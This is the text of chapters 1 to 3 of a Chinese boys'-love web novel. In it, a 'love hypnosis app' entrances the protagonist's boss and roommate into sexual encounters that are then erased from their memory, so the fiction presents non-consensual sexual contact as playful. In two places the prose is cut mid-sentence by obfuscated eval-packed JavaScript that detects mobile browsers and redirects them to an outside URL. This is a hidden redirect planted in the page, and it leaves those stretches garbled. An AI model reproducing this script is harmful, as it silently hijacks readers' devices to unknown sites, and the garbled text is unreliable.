《清冷社畜绑定催眠APP后》 1. 第 1 章 简清安半身被迫抵在冷硬的办公桌上,脸侧着压在桌面,小腹都接触到了陌生刺激的冰凉,架着的眼镜因为此刻过度羞耻的姿态落了落,露出那双雾蒙的极漂亮的琥珀色眼眸。 他被双手反钳着抵在办公桌上。 他上司的办公桌,他上司的私人办公室。 唯一的热度是身后的男人倾来的,对方坚硬的膝盖似乎触到他的腿,他被迫弓起腰略微抬高臀部,感受到男人粗粝的指骨落在自己的手腕,随着对方缓慢摩挲的触感袭来,简清安平生难得遇见触及到羞耻边缘的感觉。 男人的动作没有停下,单手钳制住他的手腕,另一只手微微捏起他的下颌,唇瓣逼近他的耳边。 简清安被迫挺起胸膛,感受到耳廓热息的同时,也听到一句: “刚刚会议向我汇报工作进度时,为什么没有抬头看我?” 男人的声音低沉,磁性,透着几分冷意和漠然。 只是配上此刻双方的姿态,怎么看怎么有过分狎昵暧昧的意思。 那是他新转来的上司,裴则遇,裴总。 为什么不看,那是因为不敢看。 他新转来的这个上司,相貌俊美无俦,骨相锋利异常,只是为人过于冷漠疏离,压迫感强,并且对待工作异常严格。 作为一个标准的社畜,简清安最不喜欢的就是有人增加他的工作量。 但面对裴则遇,没有人敢懈怠。 今天工作会议时,他注意力就全在自己汇报过程了,况且裴则遇气场太强,谁没事敢盯着他看——特别还是汇报工作的时候。 可对方是自己的上司,这样提出“建议”,简清安也只能下意识发挥社畜本质说: “好的,我下次改进,裴总。” 没想到男人似乎不满地发出很轻的气声,随后轻轻低笑,那股酥麻笑意似乎要透过他的耳膜直达他敏感的神经。 简清安似乎感受到他的唇瓣低吻上来自己的耳畔,随后低声说一句: “我好像没有教过你, “就算在公司,只有我们两个人的时候…… “你也得叫我,‘老公’。” 简清安身躯微僵。 因为他感受到,裴则遇压上他腰身的热度——区别于先前若有似无的擦,现在是几乎真实地抵上了他的臀部。 而且他的这句话…… 简清安被钳制住的指节微微一颤,想起三天前发生的一件事。 -- 三天前,简清安手机收到一条短信,提醒他【恋爱催眠APP】下载安装成功。 由于他记得自己没有下载过,并且这个软件听起来确实不像是正经软件的名字,他难得翻着手机回忆了一下,最后怀疑是下载工作群的软件时误把这个一起下载了。 他一边想着现在的病毒软件那么嚣张吗,一边想着把这个APP卸载。 ——结果没有找到卸载键。 而且看着那APP的粉色爱心图标,他鬼使神差地,点了进去。 并没有加载界面,也没有风险提示,而是一整页的用户需知。 【恋爱催眠APP】 本软件旨在给寂寞的用户提供惊心动魄缠绵悱恻的恋爱体验,共有以下几点需知: 1、APP会自动检测到适合用户的优质男性进行绑定催眠,让用户亲身体验销魂蚀骨的刺激互动与爱恋; 2、催眠的同时APP会自动发布增加感情的恋爱任务; 3、如需结束当下催眠状态,完成恋爱任务即可。 (任务结束后会消除对方被催眠的所有记忆,让用户没有后顾之忧!) 一共三条,看起来都不像是什么很正经的告知。 而且催眠APP……他是什么下流np小黄漫的男主吗? 简清安不以为意,甚至因为自己的联想不由得眼皮有些跳动。 只是最后下面有行小字,“恭喜用户简清安成功安装恋爱催眠APP”有些明显碍眼。 但没办法,信息时代,无意识泄露信息也算是正常的事情。 于是简清安就想退出软件了。 但他余光忽瞥,似乎看见自己前方的空中飘着几行字。 他以为是熬夜工作眼花,又看了一眼。 切切实实地看见了密密麻麻的几行字,就是手机上的用户需知。 并且比起用户需知多了一行—— 【用户简清安是否确认绑定恋爱催眠APP?(10秒后默认确认)】 简清安看见倒计时在走,并且没有看见否定键。 随后随着面前出现【绑定成功】的字眼,简清安也确实觉得自己该去看看心理医生了。 可能是最近工作压力大,出现了幻视。 简清安行动力很强,但没有请假,只是第二天提前预约了心理医生,然后下班后第一时间赶去医院。 检测的结果一切正常,除了有些焦虑倾向,医生也说可能是工作压力太大,让他不要太过担心,注意休息放松。 最后给他开了点舒缓神经的药,他拿着药就回去了。 由于后面一直没有出现新的文字,所以即便手机的APP卸载不掉,简清安也没有多紧张了。 直到今天,他在会议室汇报工作时,裴则遇指骨微曲,轻支下颌,时不时低着浅淡的眼眸,针对他的汇报提出几个要点。 裴则遇的嗓音清晰平静,话语内容简洁利落,却像一柄利刃切在所有人的神经。 简清安明显感觉到,当时整个会议室安静了很多。 空调冷气似乎都低了,布料透过薄汗冰住他的脊背。 但作为合格的社畜,他最后还是顶着压力完成了他的汇报。 直到结束,裴则遇叫他单独去自己的办公室。 在所有同事同情怜悯的注视下,简清安整理着东西,调整着心态准备去上司的办公室。 他觉得医生说的没错,他最近确实有些压力大了。 而当他抬头,看见自己前方出现的字时,更是呆滞—— 【【恋爱催眠APP】已检测到适合用户的优质成年男性【裴则遇】,正在进行绑定……】 【绑定成功!】 【正在进行催眠——】 -- 简清安以为是又一次幻视。 进入私人办公室后,裴则遇让他反锁上办公室的门。 而在他转身的一刹那,他听见裴则遇低声问一句: “今天怎么对我那么冷淡。” 简清安险些以为自己发展到幻听了。 毕竟什么叫……冷淡,作为下属他的服从性还不够吗? 直到裴则遇从他身后揽住自己,下颌碾在他的肩窝厮磨,略微粗重的喘息扑在他的脖颈肌肤时,简清安才真正意识到事情的不对劲。 他想尝试挣扎——譬如践行他从前任上司中磨炼习得的,如何不卑不亢地与上司抽疯的废话斡旋。 结果裴则遇似乎不吃这套,他没来得及说上几句,就被裴则遇抵压在了桌面。 小腹似乎还压着他交上来的工作汇报一角……他从未想过自己精心准备的工作会被这样“使用”。 “裴总,”简清安鼻梁上的眼镜,被对方修长的指骨轻而易举地取下,他有轻度近视和畏光,眼镜一被摘掉,眼眸被室内的微光刺激,就泛起水雾,像是被男人欺负得哭了一般, “办,办公室有监控……” ——不要做出这样,出格的事情。 简清安还想“垂死挣扎”一下。 毕竟他觉得自己不可能做那么荒唐的梦。 即便早知道自己的性取向是男,他也觉得自己不至于饥渴到,让他的上司在梦中强迫自己。 可他没想到下一句听到的是: “我以为你很喜欢这样,亲爱的,” 似乎听到有监控这件事没有让对方畏惧,反而话语间有些隐隐的兴奋, “整座公司都是我的,如果你愿意,我们可以在公司的任何一个角落做。” 简清安神经恍惚了一瞬,居然一时间分不清是当下的场景更荒谬,还是裴则遇的话语更荒谬。 什么叫……任何一个角落。 而且前一句又是什么,东西。 裴则遇,是这个性格吗……? 恍神间,不知是意料之中还是意料之外,简清安听到对方不疾不徐地说一句: “你兴奋了,亲爱的。” 简清安身体僵了。 而区别于最开始的粗暴急躁,裴则遇现在反倒颇有耐心,像一名徐徐善诱的猎手,一只手按在对方的腰身,另一只手往前摸索。 在注意到自己单手就能覆盖住对方的大半腰身后,裴则遇眼眸不住幽深。 简清安大部分时间都忙于工作,只有偶尔会去公司的健身房锻炼;腰间只有薄薄的一层紧实的肌肉,看起来不容易被折腾坏,却异常适合抱在怀里把玩。 “你果然还在生我的气,亲爱的,” 裴则遇的韧长的指骨似乎摸索到了对方裤链, “但你知道的,我总是控制不住自己,” 拉链被轻易地解开, “我知道你没有感知,但那群男人看你的眼神我没有一刻能忍受,” 裴则遇掌间的力道加深,轻轻吻在他的耳后,随后带点坏心地轻咬, “只是你要知道,我不是第一个想将你这样的……” 简清安浑身上下被触碰到的地方都异常敏感。 那些话语不加掩饰地进入到他的耳中,更是险些震颤他的价值观。 作为一个从小到大模范的优等生,到他耳中的信息大部分都是经过过滤的。偶尔在深夜自己会看的某些刺激信息,简清安也从未想过有天会在如此正式的场合听见…… 甚至对象还是他。 简清安双眸有些失神,但某处的触感似乎不允许他继续“坐以待毙”下去了。 ——再不做什么,可能真的要在这里被做了。 这个念头出来时,简清安勉强咬了咬自己已经发麻的舌尖,试图保持最后一点清醒。 他好像无法继续欺骗自己了。 那个APP很有可能是真的。 除却裴则遇的反常反应,还因为他不仅看到了绑定裴则遇的文字显示,还很早就看见了所谓的“任务”。 只是他不愿意相信,也不愿意再多看一眼那些羞耻到难以承受的任务。 直到事态发展到这个地步。 现在,似乎摆脱这难以启齿的诡异处境的方式,就只能是完成任务了。 简清安深吸一口气,任务的文字果然随着他念头的出现又漂浮在空中。 【任务一:安抚失控难耐的裴则遇,并对他羞怯甜蜜地喊“老公”;】 简清安身后的手腕微抖,但还是颤了颤眼睫,忍辱负重般说一句: “我知道错了, “老公……” 裴则遇的动作似乎滞了一瞬,但简清安刚想松口气,却没有看见“任务完成”的字眼。 怀揣着某种猜想,简清安只能尽了全力放柔声音,努力转着声又念了一句: “老公……理理我。” 裴则遇动作确实是停了,额头抵在肩窝,似乎闷闷低笑了一句: “叫硬了,老婆。” 简清安只能当作没听见,眼泪都快憋出来了,看见“任务完成”的字眼后,才松了口气,等到看见最后一个任务时,他又不住神经发麻,后脖颈过电般上涌。 【任务二:用户简清安接受不了裴则遇过度的占有欲与x方面的高强度索取,即便是身为自己的丈夫。 在又一次矛盾后,用户顺理成章地进行了短暂的分居。 但此刻为了表明自己“诚恳”的态度,用户对裴则遇发出了深夜视频聊天的邀请。】 简清安难得有些手足无措,可他不敢猜想不解除催眠状态的话,裴则遇会不会履行他的“承诺”,到时真在公司每个角落…… 于是简清安干脆一鼓作气,闭上眼,抖着声音,磕磕绊绊地说: “现在不可以, “今,今晚好吗?老公…… “今晚我可以视频, “任凭你处置。” 在简清安艰难说完这句后,裴则遇的眼眸似乎恢复了瞬间的清明,但极其短暂的时间过后,又陷入了混沌的挣扎。 最后他似乎仍保持着磁性低沉的嗓音,颇为依恋地说了句: “好,老婆……” -- “所以……”裴则遇指骨轻点在桌面上,似乎想说些什么,但又轻蹙了一下眉头,拧了半秒,像是回忆不起来什么,最后才说一句, “大概目前就这几点想提一下,” 看着状态似乎有些不对的下属,一向冷漠的高高在上的裴总终于大发慈悲地鼓励一句, “别太紧张,叫你过来是认为你做得还不错。 “没有价值的存在,我根本不会让他踏入我的办公室。” 简清安的呼吸微微凌乱,最后还是点着头,说一句: “好的,裴总。” 鬼知道他现在心脏跳得有多快…… APP任务完成后,对方似乎陷入了一种混沌的状态,暂时失去了行动力。 他不知道对方多久会恢复清醒,只能尽快收拾“案发现场”。 把桌上压乱的文件整理了一下,再把双方的衣服都整理了一遍——主要是他的。 其实对方清醒得很快,不到几分钟。 简清安都有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427093|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆幸自己当牛马久了效率高,手脚还算麻利。 而对方醒来时他还有些忐忑,毕竟对方虽然反常,但对自己的“身份认同感”似乎太高了。 直到醒来后又是熟悉的点出问题,提问他有没有对应的解决思路。 淡薄疏离的领导感,以前是他熟悉到麻木的存在,现在却让他异常怀念。 “如果没有其他事情的话,那裴总我先走了……?” 简清安太想逃离这个是非之地,难得在上司没有让自己走前就主动提出来。 裴则遇本来想点头的,毕竟他感觉自己思绪有些混乱,特别是他有些不太清楚他叫简清安过来后具体做了什么的细节——这是从来没有发生过的。 不过他无意间瞥见自己下属有些凌乱的衣领,以及墨发垂落的耳后……那是吻痕吗。 裴则遇本来不欲多想,毕竟是下属的私生活,属于他们私人的事情。 但那个印记,以及咬的那个隐秘又很容易暴露的位置——分明像是占有欲极高,拥有着很强控制欲,又装模作样在看似隐蔽的地方做标记的家伙…… 像只狗一样标记自己所有物还看起来耀武扬威的模样—— 让他莫名有些不爽。 裴则遇很清楚,自己没有不爽的由头。 毕竟他只是对方的上司,于情于理都没资格管那么宽。 但等回过神来,他已经让对方等一下了。 正准备要走的简清安停下动作,注意到裴则遇扫过来的视线,不免有些紧张。 不会吧,他自认已经处理得很好了,不可能真能看出来吧。 而且那个APP说帮他清除记忆,但他不清楚,办公室的监控会怎么处理…… 简清安越想心里越乱,视线不由得游移起来,直到听见对方低声开口—— “公司没有不能谈恋爱的规定,作为上司,我也无权插手下属的私生活, “只是你知道的,公司不能有办公室恋情。 “并且私底下如何我不会去管,只是不要让私事影响正常工作。” 简清安难得沉默几秒。 一模一样的话,他能对他的上司说一遍吗。 裴则遇说完后,便示意简清安可以离开了。 只是他望着对方离开的背影,又不自觉地蹙起眉,唇瓣抿得微紧。 直到瞥见了桌面被折了一角的工作汇报时,裴则遇才稍稍眯眼思索, 这道痕迹……是交上来时就有的吗。 -- 简清安松了一口气。 他的上司好像误会他和别人搞在一起了。 不过这样也好,最起码不会被发现,其实是对方和自己搞在了一起。 只是这听起来确实荒谬,正常人也不可能怀疑这点。 简清安勉强安抚住自己。 他刚刚把药吃了,毕竟在APP没出现前,他感觉他的精神状态还好,APP出现后,他现在整个人思绪一片混乱。 他为什么那么怕被发现, 因为他需要保住他的工作。 他又不能真的像黄漫男主,每天只需要考虑怎么做就行了。他这些年努力学习的最大愿望,就是找到份体面稳定还薪资高的工作。 现在这份工作完美符合他的愿景,所以就算新上司严厉一点他也不是不能忍耐,毕竟其他方面的条件和待遇还是很好。 如果APP暴露,他的行为也被暴露,简清安能想象到自己会有什么后果。 简清安叹了口气,又尝试了几次卸载恋爱催眠APP。 在繁华无比的A市,想要再找到一份这样的工作实在太难,他必须谨慎再谨慎。 APP依旧卸载不掉,但简清安看见了他合租舍友发来的消息。 【不好意思,打扰你了】 【我手腕今天擦伤了,发现药膏和绷带都快用完了,能麻烦你下班时顺路给我捎吗?】 下面是他列的物品清单,以及200元的转账。 需要买的东西加起来一共就几十元,还有部分可以走医保。 【钱不够我回头补,多的当感谢了】 对面似乎很清楚,麻烦不太熟悉的人办事,最直接的感谢就是打钱。 简清安也想起了自己这个合租舍友。 陆宇炀,A大体育系一年级新生,前不久刚到18岁。 A大也是他的母校。 在寸土寸金的A市想要找到离市中心公司近的住所很难,他找了很久才找到一处满意的,也恰好有人合租帮忙分摊房租。 而且对方平时主要住在宿舍,只有偶尔才回来几次。 虽然初次见面时,他看见对方那张过于恣意不羁俊美的脸,与染成殷红的发丝与耳垂的黑曜石耳钉,还以为是个不好相处的。 没想到对方开口的时候,“您”来“您”去的,有股学生气的青涩礼貌,让简清安都有些茫然。 毕竟与外貌反差有些大。 只是声线依旧是清朗中有着些许磁性,偶尔压低时也有种说不清道不明的意味。 相处一段时间后,简清安才稍稍了解他的性格,的确看起来有些不羁放纵,偶尔撞见他与朋友相处时也是张扬肆意,不过在他面前还是很有礼貌。 简清安也发现其实他的家境不差,只是他似乎不太想完全靠家里人,合租的钱也是他副业赚来的。 总之还是很让他舒心的舍友,简清安习惯在输入栏打“好的收到”,又硬生生顿住了,删了后面两个字,留了“好的”。 想了想又让自己拟人点,加了个小猫走路的表情包。 简清安拎着药品,很快回到了家门口。 说实话他在药店遇到有人搭讪时都有些恍惚,还时不时怕APP再度进行催眠。 不过好在,不知道是APP绑定有固定标准,还是APP只会绑定一名“优质男性”。 目前的局面他也还是可以应对的—— 推开门后,简清安看见了那头鲜亮的红发,紧接着便是锋利的下颌线,与散漫不羁的姿态。 陆宇炀整个人陷在客厅沙发里,比例极好的两条长腿交叠,微低着头,发丝垂落,神态不明。 简清安心里闪过一丝疑惑,但还是提起手中塑料袋的药,刚开口说: “你……” 没想到陆宇炀那张鲜明俊朗的面庞扭转过来,似乎有些恶狠狠地盯了他一遍,但目光又不是全然的锋利,反倒有些……哀怨? 紧接着,他便开口道: “你下次和你老公弄的时候搞脏的衣服,能不能不要让我洗了,” 他的语调跌宕起伏,似乎怨愤十足,但开口的话却是, “你根本就不在意我—— “你眼里还有没有我这个小三了?!” 2. 第 2 章 简清安如遭雷击。 呆滞了一秒,两秒,三秒……大脑似乎才能开始转动,去尝试理解对方的话。 ——小三?什么小三?哪来的小三? 怪他不在意?是他包养的小三吗? 他吗? 还有,他的老公……?做的时候弄脏的衣服? 简清安后知后觉往阳台那边看去,才看见一件被高高挂起的还在淌水的,剪裁得当的暗色高定西装。 那是他上次和裴则遇去参加酒会,他手上的白葡萄酒意外洒了一些到他的袖口,在对方脸色即将黑下来的时候,他连忙说到时候他会送去干洗,才挽救了一顿可能的责难。 陆宇炀,把它,给洗了?! 这时候,简清安才看见面前出现的迟来的文字—— 【【恋爱催眠APP】已检测到适合用户的优质成年男性【陆宇炀】,正在进行绑定……】 【绑定成功!】 【已进行催眠——】 简清安喉头哽了一下。 居然还会有延迟…… 这时他恰好看见陆宇炀宽大修长的手掌,自然垂落在身侧,其中他视角那侧的左手滴着清冽的水液,手腕处似乎有些红肿,不知是扭伤还是擦伤。 简清安这时候才想起自己手上提着的药。 那在对方的眼中,是他的手腕擦伤了,结果自己还命令他去洗自己和老公做.爱时弄脏的…… 简清安不敢去想了。 陆宇炀的眼眸漂亮而鲜明,有点近似丹凤眼,情绪起来时眼尾上挑,配上那张棱角分明的俊美面庞,别有一番韵味。 他似乎很生气,这个年纪的男生本就有股心高气傲的劲,但手上未干的水液又昭示了——他真的去干“那件”事了。 并且还是以现在意味不明的“小三”身份。 陆宇炀本来是不高兴的,拧着好看的眉头,但看见简清安手上提着的药,他才勉强哼唧着说一句: “算你还关心着我……” 简清安注意到他的视线,还在思考要不要解释说是他自己转钱让买的,结果陆宇炀好像看见了什么,视线直勾勾地盯着某个地方,声音哀怨且咬牙切齿道, “我就说你怎么回来得那么晚, “原来是你老公把你压在公司做了吗? “弄了多久?还有力气让你回来找我,看来是不行啊——” 简清安险些想将药撇了逃离。 作为几个小时前还在接受正常讯息正常生活的普通人,他实在很难习惯……对面被催眠后的说话风格。 简清安垂落的手臂轻轻发颤,眼睫抖动,劝说了自己好一会儿得稳住情况,才开口说: “今天我工作有些问题,上司让我去办公室聊了聊,所以晚了。” 他也不知道自己为什么要解释这个,像是解释自己没有在外边偷情的妻子一样。 “所以……”那个狗东西就把你压在办公室弄了? 陆宇炀吸了一口气: “裴则遇,就咬了你那里?” 简清安觉得这是自己听见上司名字最惊悚的一次。 因为,按理说他从未向对方提起过裴则遇的名字。 ——APP的剧本是连在一起的吗? 在他思索间,陆宇炀已经不满地走了过来。 即便是夏天,对方也穿着很潮流的两件套,黑色工字背心,外搭是酒红色机车服外套,肌肉被内搭的薄布料勾勒得若隐若现,透着一股蓬勃的力量感。 他似乎洗过澡了,身上残存着沐浴露的清香——简清安记得这个味,当时他网购正装送的分装,陆宇炀不常回来,那时他的沐浴液恰好用完,没来得及买,自己就顺手给了他。 毕竟不值几个钱,室友互帮互助一下。 但简清安闻着这个味道不由得退后了一步,脊背抵在了门上。 现在莫名像是“奸夫”用着自己的沐浴液,和自己“偷情”一样。 并且比起沐浴液,存在感更强的是对方的气息。 陆宇炀是学体育的,身高很高,接近一米八九,陷在沙发时还看不出什么,现在主动靠近,成年男性荷尔蒙的气息便倾轧而至,携着极其明显的侵略性。 脊背已经抵着门了,避无可避。 对方指腹按在他的耳后,施了点力道,似乎刻意揉搓着那个位置,粗粝的指腹反复摩挲,低声轻嘲: “咬那么狠,不知道的还以为故意给我看的呢。” 陆宇炀觉得自己的想法很有道理,明明结婚了占有欲还那么强,都不知道是不是知道自己没办法满足老婆,又担心老婆出去偷吃,故意弄的标记。 下三滥的手段。 简清安听不得这种话,耳后被揉得又麻又热,第一反应肯定是立即逃离,但理智却让他清晰地认知到,不解除对方现在的状态,后续很可能会发生更不可控的事情…… 上次的经历,让他唯一可以确认的是,完成任务的确可以解除催眠状态。 可先前的任务让他“濒临绝境”都难堪得犹豫不决,这次他想主动找任务,却怎么也找不到。 他依稀记得,上次也不是最初就—— 简清安忽然瞳孔放大,下颌被对方蓦地钳制抬起,在他没反应过来时,就对方偏过自己的脖颈蛮横地吻在了耳后。 附过来温热潮湿的触感,还有刻意发出的“啧啧”水声,像是专门标记占据什么一样,简清安当即就控制不住,抬起手,将指节抵在了对方胸膛。 结果却碰到了柔韧,滚烫,又结实的触感,让他抗拒的劲都没使出来,就瑟缩地想缩回指尖,简直像是什么调情现场。 但下一秒,简清安就睁大眼眸,看着眼前出现的文字,瞬间呆滞—— 【任务一:劳累一天的你应付完占有欲强敏感多疑的老公后,回到自己的住所,见到自己包养的年轻男大内心不禁生起一阵欣喜,于是按耐不住的上下其手;】 简清安彻底僵滞。 他恋爱都没谈过,在短短一天的时间内就拥有了“老公”和“小三”,莫名其妙地被抛入这个“背德”剧本。 简清安又不由得犹豫,还没来得及做心理建设,他的衬衫就被撩起,陆宇炀粗烫的手顺着他的小腹一路往上,即将要碰到什么不该碰的地方。 他一瞬间慌了,想着自己弄总好过自己被别人弄,况且……他们醒来都会失去记忆。 不会有问题的。 简清安心理建设勉强做了一半,最后还是颤颤巍巍地,用手指抵触到对方的胸膛,很生涩地捏了几下。 他显然很不熟练这种“轻薄”别人的动作,纤细的指尖都是颤的,对面还没反应,他就难以承受般抖着眼睫半阖着眸逃避。 仿佛被轻薄的是他自己。 其实陆宇炀身材很好,他是知道的。 对方又年轻,又有朝气,还拥有着一切容易令人幻想的特质。 他某次意外撞见洗完澡围着一条浴巾出来的陆宇炀时,脑袋下意识发热的情绪,也让他知道,对方对他是有一定吸引力的。 但这并不能代表什么。 比起虚无缥缈的吸引力,他更需要一个可以合租的好室友。 并且他记得,某次陆宇炀和他闲聊时,曾说起他初中被一个男生表白过。 他和陆宇炀的关系一直不是太熟,所以当时说完,陆宇炀也像是自觉失言,笑着说,抱歉,说多了。 他那时平静的点头,却在对方的眼中,看见了熟悉的不解厌恶的神情。 他明白, 对方不喜欢男人。 余光中,任务还没显示完成,简清安似乎想到什么,挣扎了半秒,视死如归般,指骨捏着稍稍用了些力,最后“上下其手”般胡乱摸了一通。 指节像碰到烙铁般,根本没有安放之处。 结果简清安听见陆宇炀很骚的闷哼了几声,胸膛随之接连起伏,磁性的嗓音就响在他的耳边。 简清安回过神,下意识想解释什么,结果没来得及开口,陆宇炀就将他打横抱起,暧昧地在他耳边说一句: “我不是按小时计费的, “所以下次再晚回来,是你的损失。” 简清安又被震住了,面对这明晃晃的“交易”似的话语,他想不出一句话来回应。 但这会儿功夫,陆宇炀已经急躁地将他压在沙发上,彻底解开了衬衫的纽扣,雪白的肌肤晃得他更是难耐,正要继续动作时,却看见了对方腰间明显发红的指印。 指印很粗很长,一看就是个成年男性掐的,并且当时施的力道不小。 而且从方向来看……是正后方。 陆宇炀当即难以置信地瞪大了眼,随后不知怎么鼻头有些发酸,怨愤交织地叫唤道: “你已经和他做过一轮了?!” 他先前说的是吃醋的气话,但没想到简清安和裴则遇真在公司做过—— 陆宇炀觉得自己眼睛都发红了,强忍着让自己不要露出怨夫般的丧气样,咬牙切齿说, “怪不得你没什么反应,原来已经吃过一轮了,” 他的酸气都快溢出来了, “怎么样,老男人没我好吧?他有我年轻吗?有我有劲吗?有我会弄吗?” 简清安被这些话弄得喘息不止,一时间不知道先该反抗还是反驳,但他看了眼最后的任务,又硬生生将话咽了下去。 反抗是没有用的。 他必须从源头制止这荒唐的场面。 于是他张了张唇,看着任务,却一时间不知道怎么组织语言—— 【任务二:包养的男大的傲娇暴躁脾性确实让你有些头疼,但你实在贪恋对方年轻貌美的肉.体,于是还是决定安抚对方,并且承认他比你的老公更爽。】 终于,在喉结滚动的半秒后,他终于开口道: “我……我没,和他做,” 简清安将最后一点用来澄清的力气用在这里了, 随后像是被迫决定彻底陷入泥潭般,微颤着声启唇, “因为,他弄得我不够爽…… “我特意留着,来和你……做。” 陆宇炀听罢动作一滞,先是不可置信地眨眨眼,随后面上爆发出极其炙热的狂喜。 他很想问真的吗,但激动的情绪压了压,才装作不情不愿地说一句: “本来就是这样。” 但怎么也下不去的嘴角暴露了他的心情。 他心里莫名涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的神情看起来没有任何异常,只是发丝有些许凌乱,但仔细看会发现眼尾有些泛红,自然垂落的手臂也在不断颤着。 像是极力忍耐什么。 “哥。”陆宇炀下意识叫住了他,嗓音微哑。 明明是刚睡醒,却无端像染过什么情欲的味道。 简清安顿下脚步,侧过去的面庞中,齿尖无意识咬住了唇,碾了几下后堪堪松开说: “还有什么事吗?” 陆宇炀平时会叫他“哥”。 因为他也毕业于A大,算是对方的学长,刚好也没大几岁,这样喊也更方便亲切些。 但简清安此刻听到这个称呼却莫名有种负罪感。 别人那么信任他,把他当哥哥,自己却因为APP牵连到对方……让他莫名其妙地当起自己的—— 简清安一想到“小三”这个词,脑海中就不断冒热气,心脏跳得飞快。 他把所有事物都收拾好了,按理说不会出现什么差错。 但他的肌肤上,似乎仍残存着对方粗粝掌骨的温度。 包括他的指尖,仿佛还有种某种温热触感的记忆。 ——陆宇炀也不知道自己为什么要叫住对方。 实际上他们虽然一起合租,但关系实在不太熟,这次好像也是因为自己太累了想先休息,于是拜托对方顺路买药回来。 自己虽然困到在沙发上睡着了……但刚刚迷迷糊糊间,他似乎做了一个很美妙的梦。 但关于细节,他一点都回忆不起来了。 连大致印象都不存在。 可梦醒来后,那股怅然若失感实在令他难受。 怎么回忆都回忆不起来,鬼使神差的,他就叫住了对方。 陆宇炀张了张唇,又说不出什么。 他只是下意识想叫住对方,想尝试着抓住什么,又觉得让对方这样离去就像是失去什么般。 但这个想法他都觉得自己莫名其妙,于是他终于开口道: “今天那么晚回来吗?哥。” 因为他刚刚瞥了一眼阳台方向,天色已经很暗了,简清安一般不会那么晚下班。 没想到简清安听到这句话,像是想到什么,身体有些僵滞,说: “嗯,忙工作,今天晚一点。” 简清安回答得很含糊。 因为被催眠的陆宇炀刚刚也问过他类似的问题,他实在是有些心理阴影,不敢再回答一样的了。 接下来陆宇炀似乎也没有什么话题能找的了,最后只能看着茶几上塑料袋装着的药,干巴巴地说声“谢谢”。 简清安点头,就回房间了。 简清安离开时,陆宇炀又不由得看着他的背影,发现他的衬衫有些太过发皱。 ……这倒是奇怪,他记得对方的公司到这里应该挺近的,也不用挤地铁什么,为什么会有这样的痕迹。 还有,阳台那件西装……是他洗的吗? 但他应该知道,那种面料不能用水洗吧。 陆宇炀想着又觉得自己实在是思绪有些飘忽了。 不是对方洗的还能是谁洗的。 ——总不能是自己梦游洗的吧。 -- 而此刻在房间的简清安身体微微僵硬。 他总算知道,为什么员工下班后最讨厌接的是老板的电话了。 此刻他的手机正放在房间的书桌上,持续不断地震动。 而上面微信视频通话,显示的来电人,正是裴则遇。 3. 第 3 章 简清安在看见他上司名字的一瞬,身体就无意识颤动。 无论谁在下班时间看见上司的通讯都会紧张。 更何况他这位新上司上任没多久,一般工作上的事情都是用文字交流,目前还没遇到过紧急到需要通讯的事情。 更别说,是视频通话—— 简清安几乎是立即就想起了不久前“答应”过对方的事情。 “今晚视频,任凭处置。” 他脑袋一片空白,神经正在疯狂地拉起警报,头皮隐约发麻。 一直无人接听的视频通话邀请还在震动,只是对面的人似乎终于有些疑惑,发来了一句—— 【老婆?】 看到这句的简清安从犹豫接不接到想直接挂断了。 最后还是理智拽回了他,让他清楚既然事情发生了,选择逃避是没有用的。 于是他深呼吸了几口,调整手机位置,然后准备接通。 结果余光瞥见桌面许久不用的镜子上,映出他略微凌乱的发丝,浅薄偏干的唇,与微微泛红的眼尾。 更关键是,他在他耳后的颈侧,看见了两个被咬的痕迹。 一个痕迹是裴则遇咬出来的,他知道…… 而另一个—— 简清安几乎是下意识摸向自己颈后,蒙灰的镜面上,一对漂亮的眉微微蹙起;他感受到指尖触碰带来的微疼后,就想着用什么可以掩饰一下。 怪不得他进门不久后,陆宇炀就开始质问。 原来这个位置那么明显吗? 简清安从小到大都知道,自己是痕迹很难消褪的体质,课间在书上睡压出的红印,有时甚至过几节课都消不掉。 因为不怎么疼,所以简清安也一直不放在心上。 他尝试用发丝遮掩,但难免心虚,在又看到裴则遇发来的一条“怎么不接电话,是在忙什么吗”后,简清安又有种真被抓包什么的慌乱。 最后只能暂时调整角度,让摄像头的角度只能摄入他的胸膛与细窄的下颌,然后点了接通。 结果映入眼帘的一幕,却让他不由得睁大了眼眸。 ——因为他从未见过这样的裴则遇。 同白天在公司冷漠禁欲,永远疏离,西装纽扣要系到最上面那颗的模样截然不同,对方此刻正倚在沙发上,微湿的黑发,淌水的脖颈,白色的浴袍仅被腰间唯一的系带松散地绑着,往上露出大片冷白的腹肌与胸肌—— 裴则遇的姿态堪称慷慨,简清安整天对着那个冰山脸和建模般拷在身上的西装已经失了感觉,根本没想过对方底下还有这种勾人心魄的景色。 他的双腿微微岔开,腿部比例极好,并且浴袍下若隐若现的露出的肌肉线条极具利落的力量感。 简清安诡异地明白了对方今天为什么能按小鸡似的轻易将自己压在办公桌。 他虽然也锻炼过,但比起对方,说是水货都有些不好意思。 更关键的是,镜头里的他虽然坐姿散漫肆意,但黑曜石般的眼眸始终盯向屏幕,似乎锁定猎物的鹰般。 然后开口一句—— “怎么那么久才接电话,老婆?” 简清安闻言垂落的指尖不住蜷缩。 即便裴则遇一直把“老婆”这个称呼挂在嘴边,但他一时半会儿还是难以接受。 况且他不知道是不是他的错觉,裴则遇的声线也与平时交代工作时不太一样,似乎有些刻意压低,将磁性与某种暧昧亲密的意味无限放大。 “现在是下班时间,裴总。” 简清安故作抱怨,实则是还抱有一丝不切实际的希望,想将话题扯回正经的层面。 “加班费打到你的银行账户了,”裴则遇语调平静,下一秒却像是终于确认了什么,轻轻地蹙起了眉, “老婆,怎么……不给我看你的脸。” 他的语调略低,似乎真是很失落。 简清安心里一紧,只是回答: “我,还不太习惯和你这样视频。” 